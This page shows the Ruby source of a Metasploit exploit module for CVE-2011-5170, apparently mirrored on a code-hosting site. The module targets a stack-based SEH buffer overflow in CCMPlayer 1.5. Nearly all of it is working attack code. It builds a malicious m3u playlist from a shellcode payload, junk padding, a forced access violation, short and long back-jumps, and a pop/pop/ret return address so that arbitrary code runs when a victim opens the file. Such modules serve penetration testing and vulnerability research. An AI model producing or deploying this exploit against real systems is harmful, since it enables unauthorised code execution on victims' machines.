Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow',13'Description' => %q{14This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening15a m3u playlist with a long track name, a SEH exception record can be overwritten16with parts of the controllable buffer. SEH execution is triggered after an17invalid read of an injectable address, thus allowing arbitrary code execution.18This module works on multiple Windows platforms including: Windows XP SP3,19Windows Vista, and Windows 7.20},21'License' => MSF_LICENSE,22'Author' => ['Rh0'], # discovery and metasploit module23'References' =>24[25['CVE', '2011-5170'],26['OSVDB', '77453'],27['EDB', '18178']28],29'DefaultOptions' =>30{31'EXITFUNC' => 'process',32'DisablePayloadHandler' => true33},34'Payload' =>35{36'Space' => 0x1000,37'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\38'DisableNops' => 'True',39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' =>43[44[45'CCMPlayer 1.5',46{47# pop esi / pop ebx / ret (in ccmplay.exe)48# tweak it if necessary49'Ret' => 0x00403ca7, # last NULL in buffer is accepted50'Offset' => 0x100051}52]53],54'Privileged' => false,55'DisclosureDate' => '2011-11-30', # to my knowledge56'DefaultTarget' => 0))5758register_options(59[60OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),61])62end6364def exploit6566m3u = "C:\\"67# shellcode68m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 2569m3u << payload.encoded70# junk71m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))72# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)73# to trigger SEH74m3u << [0xffffffff].pack("V")75# pad76m3u << rand_text_alpha_upper(3)77# long jmp: jmp far back to shellcode78m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string79# NSEH: jmp short back to long jmp instruction80m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string81# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)82m3u << rand_text_alpha_upper(2)83# SEH Exception Handler Address -> p/p/r84m3u << [target.ret].pack("V")85m3u << ".mp3\r\n" # no crash without it8687print_status("Creating '#{datastore['FILENAME']}' file ...")8889# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit90file_create(m3u)9192end93end949596